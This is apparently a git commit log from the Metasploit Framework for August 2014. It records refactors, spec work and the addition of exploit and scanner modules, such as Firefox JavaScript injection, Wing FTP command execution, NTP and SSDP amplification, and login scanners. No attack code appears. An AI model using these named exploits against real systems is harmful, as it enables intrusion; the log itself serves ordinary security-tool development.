Tod Beardsley c045c9606c Fix typo in PR #3712
Fixes the typo pointed out in
rapid7#3712#discussion_r16750554

Derp
2014-08-26 20:36:28 -05:00
Joe Vennix 52f33128cd Add Firefox WebIDL Javascript exploit.
Also removes an incorrect reference from another FF exploit.
2014-08-26 20:35:17 -05:00
Jon Hart 1f35c0ff1c Merge #3713, @hmoore-r7's SIP cleanup of my SIP cleanup 2014-08-26 17:52:35 -07:00
Jon Hart 316a952e9c Make SIP note, service and print output more similar 2014-08-26 17:47:31 -07:00
dmaloney-r7 8d26b66e2f Merge pull request #3689 from TomSellers/loginpalooza/vmauthd-creds-update
Credential Gem: LoginScanner - vmauthd_login ( Rebase of PR 3608)
2014-08-26 18:43:12 -05:00
Tom Sellers 4a1b037af0 Remaining files.. 2014-08-26 18:15:58 -05:00
Tom Sellers d5e39ae284 Adjustments for new LoginScanner code 2014-08-26 18:13:00 -05:00
jvazquez-r7 b37e1a5421 Solve conflicts 2014-08-26 17:51:37 -05:00
Tod Beardsley fe99f4b6e7 Land #3712, a nicer exploit-checker for msftidy 2014-08-26 16:59:56 -05:00
jvazquez-r7 0d9d722525 skip examples pending of pivotaltracker 38730815 2014-08-26 16:49:13 -05:00
Josh 073c668cd8 Merge pull request #12 from todb-r7/commit-hooks-should-only-check-modules
Land 12 from todb, only pre-commit-hook on actual modules
2014-08-26 16:47:23 -05:00
HD Moore 2d2606aeaf Update sip note format, small tweaks to output, service.info 2014-08-26 16:42:00 -05:00
Tod Beardsley dbdb4afb8c Add a top anchor to the file match regex. 2014-08-26 16:19:29 -05:00
Joshua Smith 622e8a7714 adds better exploit module detection to msftidy 2014-08-26 15:30:08 -05:00
Joshua Smith 49adde2095 Land 3702, prefer be_falsey and cleanup specs 2014-08-26 15:24:41 -05:00
Joshua Smith 1fa26e2afb cleans up a bunch of spec msftidy issues 2014-08-26 15:24:08 -05:00
jvazquez-r7 042b8a3672 Switch from pending to skip in specs 2014-08-26 15:17:00 -05:00
HD Moore ba1f7c3bf6 Land #3687, reworks the nat-pmp portscanner 2014-08-26 14:34:46 -05:00
HD Moore ed9bb3e52c Fix a small typo 2014-08-26 14:34:10 -05:00
Jon Hart 775ebce56b Correct natpmp_portscan's print_* usage to include peer 2014-08-26 12:27:12 -07:00
HD Moore 3b8bbdf10c Merge master back in before landing #3545 2014-08-26 14:07:58 -05:00
HD Moore 4e19d9ade1 Land #3545, fix up sip scanners, msftidy, db services cmd 2014-08-26 14:07:21 -05:00
Jon Hart 5826d7b164 vprint_status when no external address obtained, print_ is too noisy 2014-08-26 12:05:40 -07:00
David Maloney 8c72256e5d Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-26 14:00:03 -05:00
Tod Beardsley 2254c3060e Land #3710, pack V* for two elem array
This also fixes #3706
2014-08-26 13:58:37 -05:00
David Maloney c42517a14a missing exception rescue
needed to also rescue Errno::ETIMEDOUT
2014-08-26 13:58:34 -05:00
Jon Hart e75e213b52 Clarify SIP mixin method name, store header values as string, etc 2014-08-26 11:40:49 -07:00
Jon Hart 677d7804ae Fix bad merge 2014-08-26 10:49:54 -07:00
Jon Hart 5ad090e833 Add unit test for and correct parsing of NAT-PMP port map responses 2014-08-26 10:49:53 -07:00
Jon Hart 246f021437 Update natpmp_external_address to use Msf::Auxiliary::UDPScanner 2014-08-26 10:49:53 -07:00
Jon Hart 5c57f9b4eb Don't overload RPORT/LPORT for mapping external -> internal ports 2014-08-26 10:49:53 -07:00
Jon Hart 162508f532 Update NAT-PMP modules to use new/updated mixins 2014-08-26 10:49:53 -07:00
Jon Hart 816404bb88 Move common NAT-PMP functionality into a central place 2014-08-26 10:49:53 -07:00
Jon Hart 32a14cfc43 Missed the file... 2014-08-26 10:49:53 -07:00
Jon Hart b0347906e3 Correct NATPMP external address resposne epoch and result parsing 2014-08-26 10:49:52 -07:00
Jon Hart ca11eae3a9 Show a useful failure message when the external address probe fails 2014-08-26 10:49:52 -07:00
William Vu 9f6a40dfd6 Fix bad pack in mswin_tiff_overflow
Reported by @egyjuzer in #3706.
2014-08-26 11:14:44 -05:00
Jon Hart ff7e0f3c19 Land #3705, xistence's UPNP SSDP M-SEARCH amplification scanner 2014-08-26 08:30:43 -07:00
Jon Hart bb00c97f46 Add a CERT reference 2014-08-26 08:29:28 -07:00
Jon Hart 40fe2fd3a9 Remove DRDoS references, as this just proves amplification 2014-08-26 08:23:50 -07:00
Jon Hart 10f52d8765 Use MX of 1 to speed up responses from endpoints that respect it 2014-08-26 08:00:30 -07:00
Jon Hart 333c3a90ae Space between SSDP headers and values, which is sometimes required 2014-08-26 07:57:59 -07:00
Jon Hart 337cd02dd7 Change Auxiliary::DRDoS' prove_drdos to prove_amplification 2014-08-26 07:48:44 -07:00
Jon Hart 9749c78632 Add amplification multiplier for vulnerable proofs 2014-08-26 07:36:38 -07:00
Jon Hart 04fbd07a16 vprint_error in the unlikely event we get an unexpected response 2014-08-26 07:30:14 -07:00
Nicholas Nam 40b66fae33 Add Wing FTP Server post-auth remote command execution module 2014-08-26 07:28:41 -07:00
Jon Hart 79b05db409 Correct minor style issues 2014-08-26 07:26:30 -07:00
jvazquez-r7 41420a97d5 Solve conflicts 2014-08-26 09:04:05 -05:00
Pedro Ribeiro a8d03aeb59 Fix bug with PMP db paths 2014-08-26 12:54:31 +01:00
Pedro Ribeiro 473341610c Update name to mention DC; correct servlet name 2014-08-26 12:39:48 +01:00
Pedro Ribeiro bcdea05b51 Merge pull request #1 from rapid7/master
Update from original
2014-08-26 12:37:49 +01:00
xistence 63b75a0093 SSDP Amplification module changes 2014-08-26 16:03:32 +07:00
Joshua Smith b3e898736f Land 3694, msfconsole.rc wasn't loading, add yard 2014-08-26 01:12:33 -05:00
xistence a90d142140 Add UPnP SSDP Amplication Scanner 2014-08-26 12:53:14 +07:00
Joshua Smith 97754afe4f Land 3703, be_truthy instead of be_true 2014-08-26 00:00:05 -05:00
jvazquez-r7 57afaf6580 undo be_false case 2014-08-25 23:58:08 -05:00
jvazquez-r7 60ecf4e8c4 Use be_truthy instead of be_true 2014-08-25 23:58:08 -05:00
jvazquez-r7 aa47746290 Undo incorrect be_true switch 2014-08-25 18:23:55 -05:00
jvazquez-r7 6c631a2069 undo be_false case 2014-08-25 18:18:47 -05:00
jvazquez-r7 7bfcad9c27 Use be_truthy instead of be_true 2014-08-25 18:13:38 -05:00
jvazquez-r7 c372f5164b And switch more cases to be_falsey 2014-08-25 17:50:38 -05:00
jvazquez-r7 a1e1cef418 More use of be_falsey 2014-08-25 17:38:50 -05:00
jvazquez-r7 dd1c015e4e Use be_falsey 2014-08-25 17:34:55 -05:00
jvazquez-r7 9a14b64051 First version of Rex::Arch::X86 specs 2014-08-25 16:44:28 -05:00
sinn3r 463815d240 Add AppleTV modules (imge, video and login) 2014-08-25 15:24:41 -05:00
Jon Hart a41748e77e Correct SIP header note storage to align with Recog 2014-08-25 13:12:30 -07:00
Jon Hart 6a522cc105 Remove unused BATCHSIZE from SIP options_tcp, duplicate from options 2014-08-25 13:12:29 -07:00
Jon Hart bfa89bb3a5 Enforce binary encoding on non-modules, no encoding on modules 2014-08-25 13:12:29 -07:00
Jon Hart 6185721a61 Address @hmoore-r7's feedback regarding binary encoding 2014-08-25 13:11:22 -07:00
Jon Hart a4f623a955 Show port and protocol when printing service notes, not just name 2014-08-25 13:11:22 -07:00
Jon Hart 9955cb5b27 Enforce proper protocol case where necessary 2014-08-25 13:11:22 -07:00
Jon Hart b760815c86 Also pull the Allow headers (previous behavior) 2014-08-25 13:11:21 -07:00
Jon Hart 637f86f37d Gut SIP UDP stuff, use Msf::Auxiliary::UDPScanner 2014-08-25 13:11:21 -07:00
Jon Hart 50d90defbc Use a correct default Accept header -- responses++ 2014-08-25 13:11:21 -07:00
Jon Hart c2e70446ed Move SIP module stuff to Msf::Exploit::Remote::SIP 2014-08-25 13:11:21 -07:00
Jon Hart fc67aed174 Correct style and doc issues, tidy failure message when not SIP 2014-08-25 13:11:21 -07:00
Jon Hart e3753e3649 Refactor SIP response parsing for future improvements 2014-08-25 13:11:21 -07:00
Jon Hart 02e41c27e7 Split SIP response parsing out on its own, add unit tests.
Passes rspec but fails in framework. WIP.
2014-08-25 13:11:20 -07:00
Jon Hart 69aa56d8d3 Disable rubocop RedundantBegin for modules 2014-08-25 13:11:20 -07:00
Jon Hart d4ea3e9f29 Pass protocol down to parse_reply for report_* purposes 2014-08-25 13:09:39 -07:00
Jon Hart a2e2e37a69 Fix SIP options scanning 2014-08-25 13:09:39 -07:00
Jon Hart 2a4d73ee35 Add status message that displays delay between requests 2014-08-25 12:55:27 -07:00
Jon Hart 5c61c09c6b auxiliary/scanner/http/soap_xml cleanup
This:

* Corrects Ruby style (most) everywhere
* Uses Rex's sleep, converts to milliseconds -- seconds are too granular
* Moves begin/rescue inside nested verb+noun loop
* Prints errors even if not in verbose mode
* Corrects URI construction when PATH ends with /
2014-08-25 12:55:27 -07:00
Joe Vennix 6d3255a3b5 Update bad config error. 2014-08-25 14:43:23 -05:00
David Maloney 152ddb2f32 refactor the ipboard-login module
now that we have the loginScanner class, we simplify the module
by using the scanner and credcollection classes to handle all
the real work for us
2014-08-25 14:32:47 -05:00
Joe Vennix b652ebb44f Add other gdb-supported platforms that run on allowed arches. 2014-08-25 14:15:20 -05:00
Joe Vennix c4a173e943 Remove automatic target, couldn't figure out generic payloads. 2014-08-25 14:14:47 -05:00
darkbushido 2877cdc362 Merge branch 'master' into aruba-testing 2014-08-25 14:09:37 -05:00
William Vu 6e3739a220 Land #3698, release fixes 2014-08-25 14:00:29 -05:00
David Maloney 32b1a5ea23 add ipboard loginscanner
add loginscanner class for IPBoard with specs
this should replicate the functionality originally written
by Chris Truncer, but move it into a testable, reusable class
2014-08-25 13:58:30 -05:00
Tod Beardsley 6d9833e32b Minor pre-release updates with descriptions 2014-08-25 13:34:45 -05:00
Tod Beardsley 03a1f4455d No need to escape single quotes in %q{} strigns 2014-08-25 13:03:33 -05:00
Tod Beardsley 2f87c880df Add link to blog post for NTP modules 2014-08-25 12:58:10 -05:00
Tod Beardsley c3213a73e5 Use peer when writing scanner modules
This fixes the module seen in PR rapid7#3684 to use the peer method at
the beginning of print_* messages, rather than the vhost method at the
end. Doing this tends to make reading the output much easier since it's
more consistent.

Incidentally, this module has an msftidy complaint:

````
--- Checking new and changed module syntax with tools/msftidy.rb ---
modules/auxiliary/scanner/http/ipboard_login.rb - [INFO] Please use
vars_get in send_request_cgi: send_request_cgi({ 'uri' =>
normalize_uri(target_uri.path,
"index.php?app=core&module=global&section=login&do=process"
````

This should be fixed as well, or explained why it's not being honored.
2014-08-25 12:48:32 -05:00
William Vu 1ee83ff57e Land #3696, pile of NTP DRDoS 0days
Dr. DoS in da house?
2014-08-25 11:47:28 -05:00
William Vu 7a76efa7f7 Add reference and disclosure date 2014-08-25 11:46:47 -05:00
OJ a39f7b94ec Land #3684 - IP Board Login Scanner 2014-08-25 11:54:42 +10:00
Christopher Truncer 302e4025ba Removed unnecessary function 2014-08-24 20:45:28 -04:00
Christopher Truncer 2b59063d6c Updated based on feedback 2014-08-24 19:53:29 -04:00
Tom Sellers fa502c9c69 Minor adjustments 2014-08-24 17:39:13 -05:00
jvazquez-r7 c20b4dc0ff Land #3645, @jlee-r7's fix for mremoge credentials gather module 2014-08-24 15:53:29 -05:00
James Lee 19d6feca62 Fix regression where msfconsole.rc wasn't loading
Also add some slightly better docs for the Driver class
2014-08-24 15:10:41 -05:00
Joe Vennix a27754c5c1 Tweak specs a bit. 2014-08-24 02:41:37 -05:00
Joe Vennix 120f416f9c Add spec for Msf::EncodedPayload.create. 2014-08-24 02:36:09 -05:00
Joe Vennix 6313b29b7a Add #arch method to Msf::EncodedPayload.
This allows exploits with few one automatic target to support many
different architectures.
2014-08-24 02:22:15 -05:00
Joe Vennix 88f626184c Remove linux platform limitation, target depends on arch only. 2014-08-24 01:39:04 -05:00
Joe Vennix 04d0b87067 Reorder module title. 2014-08-24 01:18:21 -05:00
Joe Vennix 1d3531d09d Put include above constant defs. 2014-08-24 01:17:32 -05:00
Joe Vennix c65ba20017 Fix incorrect Platforms key. 2014-08-24 01:15:34 -05:00
Joe Vennix 4e63faea08 Get a shell from a loose gdbserver session. 2014-08-24 01:10:30 -05:00
Tom Sellers 1fa43bfe64 Rework for Credential lib update 2014-08-23 10:53:55 -05:00
John Sawyer 0a27a18104 Committing changes from r7 comments 2014-08-23 00:08:27 -04:00
Christopher Truncer 84f4fa5c76 Updated module based on feedback 2014-08-22 21:16:53 -04:00
jvazquez-r7 3bbe9bf074 Land #3540, JBoss refactoring with @us3r777 2014-08-22 17:06:28 -05:00
jvazquez-r7 0737d0dbd5 Refactor auxiliary module 2014-08-22 17:05:45 -05:00
jvazquez-r7 0031913b34 Fix nil accesses 2014-08-22 16:19:11 -05:00
jvazquez-r7 8945f04ffd Add specs for Msf::HTTP::JBoss::BeanShell 2014-08-22 16:13:38 -05:00
jvazquez-r7 f57dd9a224 Add specs for #generate_bsh 2014-08-22 15:39:58 -05:00
jvazquez-r7 2b3058869f Add Msf::HTTP::JBoss::BeanShellScripts specs 2014-08-22 15:36:29 -05:00
jvazquez-r7 7ee5423310 Add specs for Msf::HTTP::JBoss::Base 2014-08-22 15:11:27 -05:00
William Vu 5d708b65b4 Land #3676, updated Meterpreter bins!
For KB2871997.
2014-08-22 14:33:27 -05:00
jvazquez-r7 4742dbad91 Fix YARD documentation 2014-08-22 14:18:13 -05:00
jvazquez-r7 9ef09a7725 Pass msftidy 2014-08-22 13:24:59 -05:00
jvazquez-r7 38e6576990 Update 2014-08-22 13:22:57 -05:00
jvazquez-r7 da0950df24 Land #3674, @todb-r7's patch for RangeWalker spec 2014-08-22 11:57:14 -05:00
jvazquez-r7 e93fbbd904 Land #3685, @pedrib's exploit for CVE-2014-3996 2014-08-22 11:45:41 -05:00
jvazquez-r7 cf147254ad Use snake_case in the filename 2014-08-22 11:44:35 -05:00
jvazquez-r7 823649dfa9 Clean exploit, just a little 2014-08-22 11:43:58 -05:00
jvazquez-r7 9815b1638d Refactor pick_target 2014-08-22 11:31:06 -05:00
Joe Vennix 95fbb8f1b7 Land PR #3672, dmaloney-r7's login scanner credential rework. 2014-08-22 11:15:32 -05:00
jvazquez-r7 ecace8beec Refactor check method 2014-08-22 11:05:36 -05:00
Brandon Turner 05f0d09828 Merge branch staging/electro-release into master
On August 15, shuckins-r7 merged the Metasploit 4.10.0 branch
(staging/electro-release) into master.  Rather than merging with
history, he squashed all history into two commits (see
149c3ecc63 and
82760bf5b3).

We want to preserve history (for things like git blame, git log, etc.).
So on August 22, we reverted the commits above (see
19ba7772f3).

This merge commit merges the staging/electro-release branch
(62b81d6814) into master
(48f0743d1b).  It ensures that any changes
committed to master since the original squashed merge are retained.

As a side effect, you may see this merge commit in history/blame for the
time period between August 15 and August 22.
2014-08-22 10:50:38 -05:00
jvazquez-r7 ced65734e9 Make some datastore options advanced 2014-08-22 10:26:04 -05:00
dmaloney-r7 6ee39f89de Merge pull request #13 from jvennix-r7/update-gemfile-lock-so-travis-can-run
Update lockfile in msf repo after `bundle install`
2014-08-22 10:24:10 -05:00
jvazquez-r7 b4e3e84f92 Use CamelCase for target keys 2014-08-22 10:23:36 -05:00
jvazquez-r7 b58550fe00 Indent description and fix title 2014-08-22 10:21:08 -05:00
Brandon Turner 19ba7772f3 Revert "Various merge resolutions from master <- staging"
This reverts commit 149c3ecc63.

Conflicts:
	lib/metasploit/framework/command/base.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/require.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	modules/auxiliary/scanner/smb/smb_login.rb
	msfconsole
2014-08-22 10:17:44 -05:00
inkrypto 7e2d474a26 Ranking, Version, Spacing Edit 2014-08-22 11:06:42 -04:00
joev 05afe416a9 Update lockfile to pull in new msf-cred versions. 2014-08-21 15:44:16 -05:00
inkrypto 7587997d73 Spell check 2014-08-21 12:47:25 -04:00
Christopher Truncer 3918acb1e1 Changed keyword used when returning 2014-08-21 12:34:54 -04:00
Christopher Truncer a0b72bba93 Updated module based on feedback 2014-08-21 12:26:41 -04:00
jvazquez-r7 fd05e634e8 Move once more let into describe 2014-08-21 10:41:37 -05:00
jvazquez-r7 b0a4ea6750 Move let helpers to describe groups 2014-08-21 10:39:16 -05:00
jvazquez-r7 6301d79162 Describe setters just expecting how assignement to properties should happen 2014-08-21 10:34:52 -05:00
jvazquez-r7 54395e38a0 Use a part subject to describe #add_part 2014-08-21 10:29:44 -05:00
darkbushido df62c4a29d setting the timeout to 180 2014-08-21 10:15:07 -05:00
darkbushido 264192e796 setting the timeout to 120 2014-08-21 10:00:35 -05:00
darkbushido 9e4b02abb1 increasing the aruba timeout to 240 seconds
msfconsole is taking over 60 seconds to load on travis
2014-08-21 09:45:53 -05:00
Pedro Ribeiro da752b0134 Add exploit for CVE-2014-3996 2014-08-21 15:30:28 +01:00
Christopher Truncer 383906c26c Removed function no longer used 2014-08-20 22:51:01 -04:00
Christopher Truncer c93bfb4673 Fixed targeturi value 2014-08-20 21:23:45 -04:00
Christopher Truncer 7f90b81711 IP Board Login Scanner Module 2014-08-20 21:18:19 -04:00
darkbushido 07ea8bedb5 Merge branch 'master' into aruba-testing 2014-08-20 20:06:40 -05:00
darkbushido 715f54b755 trying to get travis-ci to run cucumber 2014-08-20 19:43:13 -05:00
Jon Hart 9f9f28cc31 If a peer is 127.0.0.1, don't try to store it because we (currently...) can't 2014-08-20 15:48:54 -07:00
Jon Hart 9db3dc7ad8 Store peer data note in the same format as originally 2014-08-20 15:10:45 -07:00
Jon Hart 758c3fa518 Only discard monlist replies that are impossibly short
This fixes the case where if a monlist reply only includes one peer
2014-08-20 15:02:21 -07:00
Jon Hart 7ad9300d37 Update ntp_monlist to use UDPScanner, NTP and DRDoS mixins 2014-08-20 14:41:00 -07:00
darkbushido 73911e9007 adding in the positive test case 2014-08-20 15:54:49 -05:00
David Maloney 48f0743d1b remove crappy basedir method
this method is no lopnger needed
2014-08-20 15:28:36 -05:00
David Maloney 6bc55bf8cc change is_apt method 2014-08-20 15:27:11 -05:00
David Maloney b547f7fc75 fix msfbasedir for go_pro
go_pro uses the wrong base director y for starting
up metasploit pro when using the go_pro command
this caused errors
2014-08-20 15:22:18 -05:00
Jon Hart 8fd4ee87ab Allow singular NTP version and mode 7 implementation testing 2014-08-20 12:21:39 -07:00
jvazquez-r7 9d007a8c63 Add @jlee-r7's feedback 2014-08-20 12:04:33 -05:00
Tod Beardsley f9b902c6cc Land #3681, restore rake and rspec functionality
Since this is a more complete fix than #3678 and #3679, this merge
closes #3678 and closes #3679. Lets see if that magic syntax works!
2014-08-20 11:27:09 -05:00
James Lee cef4ddf535 Fix a crash when msfconsole is a symlink 2014-08-20 11:03:41 -05:00
James Lee c3e8bc8fa0 Fix a crash when we can't connect to PG, again 2014-08-20 11:02:46 -05:00
darkbushido 15a7ed0031 adding scenarios for booting msfconsole without a db 2014-08-20 11:02:11 -05:00
James Lee fa27def41f Revert "Fix a crash when we can't connect to PG"
This reverts commit b6deb6a342.
2014-08-20 11:01:29 -05:00
jvazquez-r7 9dcc95fb04 Fix Rex::MIME::Message#initialize boundaries parsing 2014-08-20 10:22:38 -05:00
jvazquez-r7 e8a6307df1 Fix Rex::MIME::Header#parse 2014-08-20 09:42:44 -05:00
jvazquez-r7 e5fc0a007f Add some Message specs 2014-08-20 09:31:49 -05:00
jvazquez-r7 e4b586a96d Add specs for add_part_inline_attachment 2014-08-20 08:32:58 -05:00
John Sawyer 1959f7a235 Updated shodan_search for new API 2014-08-20 00:48:13 -04:00
OJ a6b7262611 Updated to meterpreter_bins version 0.0.7
This has been a long time coming! Kiwi has been broken for a while and
this updated fixes that problem.

Details of the binaries build date/commits are in the gemspec in the
main meterpreter_bins repo.
2014-08-20 12:30:34 +10:00
William Vu f0f5772217 Land #3675, firefox_svg_plugin un-deprecation 2014-08-19 17:52:41 -05:00
sinn3r e2e2dfc6a3 Undo FF 2014-08-19 17:47:44 -05:00
sinn3r 777efb5e48 Land #3669 - Deprecate ff 17 svg exploit 2014-08-19 17:42:31 -05:00
sinn3r c73ec66c7a Land #3659 - Add HybridAuth install.php PHP Code Execution 2014-08-19 17:19:01 -05:00
jvazquez-r7 381c88f814 Add specs for add_part and add_part_attachment 2014-08-19 17:06:59 -05:00
Tod Beardsley a4c6a10edb The .foo domain is live now.
I still kinda hate these tests, though, since they fail in wildcard DNS
environments (like OpenDNS).
2014-08-19 16:47:30 -05:00
dmaloney-r7 0c9dafff54 Merge pull request #3673 from jlee-r7/bug/MSP-11061/crash-without-postgres
Fix a crash when we can't connect to PG
2014-08-19 16:16:30 -05:00
James Lee b6deb6a342 Fix a crash when we can't connect to PG
MSP-11061

No Postgres, no cry
2014-08-19 15:30:24 -05:00
Tod Beardsley 08430ee7ac Land #3616, cred gem for imap from @TomSellers 2014-08-19 15:26:12 -05:00
Tom Sellers 74920d26a4 Update to server/capture/imap.rb for new Credential system 2014-08-19 15:25:31 -05:00
jvazquez-r7 0585b13398 Add first specs for Rex::MIME::Message 2014-08-19 15:17:17 -05:00
darkbushido f80fd68480 adding more scenarios
updating ms08-067's scenarios so they are testing show options and show advanced
changing the scenario descriptions and feature descriptions for help.feature and
ms08-067
2014-08-19 15:06:47 -05:00
darkbushido 8f3f37dd54 updating how cucumber loads features
starting to use a cucumber.yml to store the profile configs
we will not be running @targets by default
2014-08-19 15:05:47 -05:00
darkbushido fd9e92bb24 Merge branch 'master' into aruba-testing 2014-08-19 14:31:53 -05:00
Tod Beardsley 170c8b699a Land #3617 from @TomSellers, ftp anon scanner 2014-08-19 13:22:30 -05:00
sinn3r 311cc5befb Land #3668 - Add specs for Rex::Exploitation::HeapLib 2014-08-19 13:14:24 -05:00
Tom Sellers 3fdad4dc91 Update auxillary/scanner/ftp with Credential Gem 2014-08-19 13:13:05 -05:00
sinn3r 7bf637716a Land #3663 - Add specs for Rex::Exploitation::EncryptJS 2014-08-19 13:08:14 -05:00
William Vu dc95b01cc5 Land #3670, smb_login private_type fix
[FixRM #8841]
2014-08-19 11:30:23 -05:00
William Vu b748cee760 Land #3664, enum_osx dump_hash removal 2014-08-19 11:29:23 -05:00
jvazquez-r7 325c05d0e0 Land #3671, @wchen-r7's fix for RangeWalker spec 2014-08-19 11:01:14 -05:00
sinn3r f3528c929f geez, glassfish gtf outta there 2014-08-19 10:40:52 -05:00
sinn3r ad241910d0 This is more invalid than the other one 2014-08-19 10:39:50 -05:00
David Maloney e9dea358b8 gemfile change 2014-08-19 10:32:44 -05:00
David Maloney 473b92a060 Merge branch 'master' into feature/MSP-10992/scanner-dry
Conflicts:
	Gemfile.lock
	lib/metasploit/framework/command/console.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/credential.rb
	lib/metasploit/framework/credential_collection.rb
	lib/metasploit/framework/login_scanner/afp.rb
	lib/metasploit/framework/login_scanner/axis2.rb
	lib/metasploit/framework/login_scanner/db2.rb
	lib/metasploit/framework/login_scanner/ftp.rb
	lib/metasploit/framework/login_scanner/http.rb
	lib/metasploit/framework/login_scanner/mssql.rb
	lib/metasploit/framework/login_scanner/mysql.rb
	lib/metasploit/framework/login_scanner/pop3.rb
	lib/metasploit/framework/login_scanner/postgres.rb
	lib/metasploit/framework/login_scanner/result.rb
	lib/metasploit/framework/login_scanner/smb.rb
	lib/metasploit/framework/login_scanner/snmp.rb
	lib/metasploit/framework/login_scanner/ssh.rb
	lib/metasploit/framework/login_scanner/telnet.rb
	lib/metasploit/framework/login_scanner/vnc.rb
	lib/metasploit/framework/parsed_options/console.rb
	lib/metasploit/framework/require.rb
	lib/metasploit/framework/version.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	modules/auxiliary/scanner/afp/afp_login.rb
	modules/auxiliary/scanner/db2/db2_auth.rb
	modules/auxiliary/scanner/ftp/ftp_login.rb
	modules/auxiliary/scanner/http/axis_login.rb
	modules/auxiliary/scanner/http/http_login.rb
	modules/auxiliary/scanner/http/tomcat_mgr_login.rb
	modules/auxiliary/scanner/mssql/mssql_login.rb
	modules/auxiliary/scanner/mysql/mysql_login.rb
	modules/auxiliary/scanner/pop3/pop3_login.rb
	modules/auxiliary/scanner/postgres/postgres_login.rb
	modules/auxiliary/scanner/snmp/snmp_login.rb
	modules/auxiliary/scanner/ssh/ssh_login.rb
	modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
	modules/auxiliary/scanner/telnet/telnet_login.rb
	modules/auxiliary/scanner/vnc/vnc_login.rb
	modules/auxiliary/scanner/winrm/winrm_login.rb
	spec/lib/metasploit/framework/credential_spec.rb
	spec/lib/msf/core/framework_spec.rb
2014-08-19 10:30:16 -05:00
sinn3r 17b03e7d34 Fix rspec due to an invalid dns becoming valid 2014-08-19 10:28:30 -05:00
darkbushido a09037ffa3 Merge branch 'master' into aruba-testing
Conflicts:
	.rubocop.yml
	Gemfile
	Gemfile.lock
	Rakefile
	lib/metasploit/framework/command/console.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/parsed_options/console.rb
	lib/metasploit/framework/require.rb
	lib/metasploit/framework/version.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	spec/lib/msf/core/framework_spec.rb
2014-08-19 09:06:53 -05:00
OJ e0df664656 Land #3653 : NETAPI x64 fixes 2014-08-19 11:40:43 +10:00
sinn3r 7330e3585f Support Glassfish 4.0 and lots of other changes 2014-08-18 19:03:26 -05:00
jvazquez-r7 663e11f16b Add specs for Rex::MIME::Part 2014-08-18 18:03:27 -05:00
jvazquez-r7 85662d5ccd Add specs for Rex::MIME::Header 2014-08-18 17:33:26 -05:00
jvazquez-r7 73ac0e9537 Add specs for Rex::MIME::Encoding 2014-08-18 16:04:08 -05:00
James Lee f169b8dff3 Fix hashes being stored as passwords 2014-08-18 15:52:13 -05:00
joev b93fda5cef Remove browser_autopwn hook from deprecated FF module. 2014-08-18 15:33:43 -05:00
joev 87aa63de6e Deprecate FF17 SVG exploit.
This exploit needs flash, the tostring_console injection one does not.
2014-08-18 15:32:51 -05:00
cdoughty-r7 5fac1510bc Merge pull request #3667 from todb-r7/fix-release
Release fixes: Minor caps, grammar, desc fixes
2014-08-18 14:06:01 -05:00
Brendan Coles 564431fd41 Use arrays in refs for consistency 2014-08-18 18:54:54 +00:00
jvazquez-r7 f812d2619c Fix load_js when opts[:newobfu] and add specs 2014-08-18 13:50:19 -05:00
Tod Beardsley 6792ded714 Land #3666, fix msfconsole start w/out database 2014-08-18 13:44:20 -05:00
Tod Beardsley cad281494f Minor caps, grammar, desc fixes 2014-08-18 13:35:34 -05:00
James Lee b9e449f5e2 Fix crash when database.yml doesn't exist 2014-08-18 12:40:57 -05:00
jvazquez-r7 3dae6ee934 Not prefixing the class when describing method 2014-08-18 12:19:30 -05:00
jvazquez-r7 2dc579d467 Add template for specs 2014-08-18 12:16:20 -05:00
jvazquez-r7 75df32b1d3 Use single quoted strings out of the spec strings 2014-08-18 11:43:54 -05:00
joev 5654370316 Remove hashdump functionality from enum_osx.
There is a specific hashdump module that is more up-to-date, no need to duplicate
functionality (and code).
2014-08-18 11:40:11 -05:00
sinn3r 7c1605efe4 Land #3662 - Fix android payload issue when running browser_autopwn 2014-08-18 11:38:28 -05:00
jvazquez-r7 4ffd166918 Add specs for Rex::Exploitation::EncryptJS 2014-08-18 11:31:36 -05:00
Vincent Herbulot fd40a68525 Added YARD documentation to lib/msf/http/jboss 2014-08-18 18:19:37 +02:00
joev 5bfbb7654e Add android meterpreter to browser autopwn. 2014-08-18 11:09:16 -05:00
Vincent Herbulot 2b59337e9a Jboss spec modifications.
Various changes in the jboss spec to match the newly refactored
methods in lib/msf/http/jboss.
2014-08-18 17:19:09 +02:00
William Vu c5c63f44e9 Land #3661, binary coding for libs 2014-08-17 18:01:19 -05:00
HD Moore 5e123e024d Add 'coding: binary' to all msf/rex library files
This fixes a huge number of hard-to-detect runtime bugs
that occur when a default utf-8 string from one of these
libraries is passed into a method expecting ascii-8bit
2014-08-17 17:31:53 -05:00
HD Moore d8e82b9394 Lands #3655, fixes pack operators
the commit.
he commit.
2014-08-17 17:25:52 -05:00
Brendan Coles b8b2e3edff Add HybridAuth install.php PHP Code Execution module 2014-08-16 23:31:46 +00:00
sinn3r e656a81c63 Land #3656 - FF toString console.time Privileged Javascript Injection 2014-08-15 17:07:23 -05:00
joev 6d958475d6 Oops, this doesn't work on 23, only 22. 2014-08-15 17:00:58 -05:00
joev fb1fe7cb8b Add some obfuscation. 2014-08-15 16:54:30 -05:00
joev b574a4c4c5 Wow, this gets a shell all the way back to 15.0. 2014-08-15 16:39:36 -05:00
joev 5706371c77 Update browser autopwn settings. 2014-08-15 16:32:06 -05:00
joev 8c63c8f43d Add browserautopwn hook now that this is not user-assisted. 2014-08-15 16:28:21 -05:00
joev 694d917acc No need for web console YESSSS 2014-08-15 16:02:26 -05:00
joev 738a295f0a Rename module to tostring_console*. 2014-08-15 15:17:37 -05:00
Meatballs 0cc3bdfb35 Moar bad packs 2014-08-15 21:11:37 +01:00
joev f182613034 Invalid CVE format. 2014-08-15 15:09:45 -05:00
joev edb9d32e5c Add module for toString() injection in firefox. 2014-08-15 15:08:10 -05:00
inkrypto 7972da350d Files move to appropriate directories and have proper formatting 2014-08-15 14:37:29 -04:00
inkrypto 92750ccc03 Remove emc files 2014-08-15 14:30:19 -04:00
Tod Beardsley 904c1b20b1 Land #3654, update to 4.10-dev (electro) 2014-08-15 12:51:28 -05:00
